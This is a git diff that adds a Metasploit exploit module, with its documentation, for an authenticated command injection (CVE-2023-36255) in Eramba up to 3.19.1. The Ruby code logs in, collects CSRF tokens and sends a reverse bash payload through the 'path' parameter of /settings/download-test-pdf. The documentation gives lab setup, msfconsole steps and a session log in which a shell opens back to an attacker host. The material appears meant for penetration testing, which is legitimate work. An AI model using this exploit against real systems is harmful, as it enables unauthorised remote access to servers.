diff --git a/documentation/modules/exploit/linux/http/eramba_rce.md b/documentation/modules/exploit/linux/http/eramba_rce.md new file mode 100644 index 0000000000..af69a60fc7 --- /dev/null +++ b/documentation/modules/exploit/linux/http/eramba_rce.md @@ -0,0 +1,157 @@ +## Vulnerable Application + +Eramba is open and free GRC software, used by many companies. It offer mainly risk management solution. Version up to 3.19.1 is vulnerable to authenticated remote command execution. It is neccessary to provide valid credentials. The application allows to execute arbitrary OS commands, which can lead to remote access. Application is available in [Docker format](https://www.eramba.org/learning/courses/12/episodes/274). However, after installation, debug mode needs to be enabled. Here's modified Docker compose file for simpler testing (`docker-compose.simple-install.yml`): + +### Installation + +Docker and docker-compose is required. + +1. git clone https://github.com/eramba/docker +2. cd docker +3. Setup database credentials and public URL in `.env` +4. Copy following into `docker-compose.simple-install.yml` +``` +version: '3.19' +services: + mysql: + container_name: mysql + image: mysql:8.0.28-oracle + command: ["mysqld", "--disable-log-bin"] + restart: always + volumes: + - db-data:/var/lib/mysql + - ./mysql/conf.d:/etc/mysql/conf.d + - ./mysql/entrypoint:/docker-entrypoint-initdb.d + environment: + MYSQL_DATABASE: ${DB_DATABASE} + MYSQL_USER: ${DB_USERNAME} + MYSQL_PASSWORD: ${DB_PASSWORD} + MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD} + redis: + container_name: redis + image: redis:6.0.16-alpine + restart: always + eramba: + container_name: eramba + image: ghcr.io/eramba/eramba:3.19.1 + restart: always + ports: + - 8443:443 + volumes: + - data:/var/www/eramba/app/upgrade/data + - app:/var/www/eramba + - logs:/var/www/eramba/app/upgrade/logs + - ./apache/ssl/mycert.crt:/etc/ssl/certs/mycert.crt + - ./apache/ssl/mycert.key:/etc/ssl/private/mycert.key + - ./apache/security.conf:/etc/apache2/conf-available/security.conf + - ./apache/ports.conf:/etc/apache2/ports.conf + - ./apache/vhost-ssl.conf:/etc/apache2/sites-available/000-default.conf + - ./crontab/crontab:/etc/cron.d/eramba-crontab + environment: + DB_HOST: ${DB_HOST} + DB_DATABASE: ${DB_DATABASE} + DB_USERNAME: ${DB_USERNAME} + DB_PASSWORD: ${DB_PASSWORD} + CACHE_URL: ${CACHE_URL} + USE_PROXY: ${USE_PROXY} + PROXY_HOST: ${PROXY_HOST} + PROXY_PORT: ${PROXY_PORT} + USE_PROXY_AUTH: ${USE_PROXY_AUTH} + PROXY_AUTH_USER: ${PROXY_AUTH_USER} + PROXY_AUTH_PASS: ${PROXY_AUTH_PASS} + PUBLIC_ADDRESS: ${PUBLIC_ADDRESS} + DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT} + LDAPTLS_REQCERT: ${LDAPTLS_REQCERT} + links: + - mysql + - redis + depends_on: + - mysql + cron: + container_name: cron + image: ghcr.io/eramba/eramba:3.19.1 + command: ["cron", "-f"] + entrypoint: ["/docker-cron-entrypoint.sh"] + restart: always + volumes: + - data:/var/www/eramba/app/upgrade/data + - app:/var/www/eramba + - logs:/var/www/eramba/app/upgrade/logs + - ./docker-cron-entrypoint.sh:/docker-cron-entrypoint.sh + - ./crontab/crontab:/etc/cron.d/eramba-crontab + - .env:/var/www/docker.env + environment: + DB_HOST: ${DB_HOST} + DB_DATABASE: ${DB_DATABASE} + DB_USERNAME: ${DB_USERNAME} + DB_PASSWORD: ${DB_PASSWORD} + CACHE_URL: ${CACHE_URL} + USE_PROXY: ${USE_PROXY} + PROXY_HOST: ${PROXY_HOST} + PROXY_PORT: ${PROXY_PORT} + USE_PROXY_AUTH: ${USE_PROXY_AUTH} + PROXY_AUTH_USER: ${PROXY_AUTH_USER} + PROXY_AUTH_PASS: ${PROXY_AUTH_PASS} + PUBLIC_ADDRESS: ${PUBLIC_ADDRESS} + DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT} + LDAPTLS_REQCERT: ${LDAPTLS_REQCERT} + links: + - mysql + - redis + - eramba + depends_on: + - eramba +volumes: + app: + data: + logs: + db-data: +``` + +5. `docker compose -f docker-compose.simple-install.yml up -d` + +Shut down: `docker compose -f docker-compose.simple-install.yml down` + + +## Verification Steps + +1. use exploit/linux/http/eramba_rce +2. set RHOSTS [target IP] +3. set LHOST [attacker's IP] +4. set USERNAME [username] +5. set PASSWORD [password] +6. exploit + +## Options + +### USERNAME + +A valid username for Eramba application + +### PASSWORD + +A valid password for Eramba application + +## Scenarios + +``` +msf6 > use exploit/linux/http/eramba_rce +[*] Using configured payload cmd/unix/reverse_bash +msf6 exploit(linux/http/eramba_rce)> set RHOSTS 192.168.95.145 +RHOSTS => 192.168.95.145 +msf6 exploit(linux/http/eramba_rce)> set LHOST 192.168.95.142 +LHOST => 192.168.95.142 +msf6 exploit(linux/http/eramba_rce)> set USERNAME admin +USERNAME => admin +msf6 exploit(linux/http/eramba_rce)> set PASSWORD P4ssw0rd! +PASSWORD => P4ssw0rd! +msf6 exploit(linux/http/eramba_rce) > exploit +[*] Started reverse TCP handler on 192.168.95.142:4444 +[*] Command shell session 1 opened (192.168.95.142:4444 -> 192.168.95.145:38460) at 2025-03-13 12:31:26 +0100 +id + +uid=33(www-data) gid=33(www-data) groups=33(www-data) + + +``` + diff --git a/modules/exploits/linux/http/eramba_rce.rb b/modules/exploits/linux/http/eramba_rce.rb new file mode 100644 index 0000000000..f27055778a --- /dev/null +++ b/modules/exploits/linux/http/eramba_rce.rb @@ -0,0 +1,135 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Eramba (up to 3.19.1) Authenticated Remote Code Execution Module', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in Eramba. + An authenticated user can execute arbitrary commands on the server by + exploiting the path parameter in the download-test-pdf endpoint. + Eramba debug mode has to be enabled. + }, + 'Author' => [ + 'Trovent Security GmbH', + 'Sergey Makarov', # vulnerability discovery and exploit + 'Stefan Pietsch', # CVE and Advisory + 'Niklas Rubel', # MSF module + 'msutovsky-r7' # MSF module + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + }, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + ], + 'DefaultTarget' => 0, + + 'References' => [ + ['CVE', '2023-36255'], + ['URL', 'https://trovent.github.io/security-advisories/TRSA-2303-01/TRSA-2303-01.txt'] + ], + 'DisclosureDate' => '2023-08-01', + 'DefaultOptions' => { + 'RPORT' => 8443, + 'SSL' => true + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'The base path to Eramba', '/']), + OptString.new('USERNAME', [ true, 'The username to authenticate with', 'admin']), + OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'admin']), + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/login') + }) + + return Exploit::CheckCode::Unknown unless res&.code == 200 + + html_body = res.get_html_document + version_html = html_body.at('//p[contains(text(), "App version")]/strong')&.text + return Exploit::CheckCode::Unknown unless version_html + + return Exploit::CheckCode::Safe('Debug mode not enabled.') unless html_body.at('input[@name="_Token[debug]"]') + + version = Rex::Version.new(version_html) + + return Exploit::CheckCode::Appears("Eramba Version #{version} is affected.") if version <= Rex::Version.new('3.19.1') + + return Exploit::CheckCode::Safe("Eramba Version #{version} is not affected.") + end + + def exploit + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/login'), + 'keep_cookies' => true + }) + + html_body = res.get_html_document + csrf_token = html_body.at('input[@name="_csrfToken"]') + token_fields = html_body.at('input[@name="_Token[fields]"]') + token_unlocked = html_body.at('input[@name="_Token[unlocked]"]') + token_debug = html_body.at('input[@name="_Token[debug]"]') + + fail_with(Failure::UnexpectedReply, 'Couldn\'t parse tokens') unless token_fields && token_unlocked && token_debug && csrf_token + + res = send_request_cgi!({ + 'method' => 'POST', + 'uri' => normalize_uri('/login'), + 'keep_cookies' => true, + 'vars_post' => { + '_csrfToken' => csrf_token['value'], + 'login' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + '_Token[fields]' => token_fields['value'], + '_Token[unlocked]' => token_unlocked['value'], + '_Token[debug]' => token_debug['value'] + } + }) + + fail_with(Failure::UnexpectedReply, 'Failed to login') unless res&.code == 200 && res.body.include?('Landing Dashboard') + + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/settings/download-test-pdf'), + 'vars_get' => + { + 'path' => payload.encoded.to_s + } + }) + end +end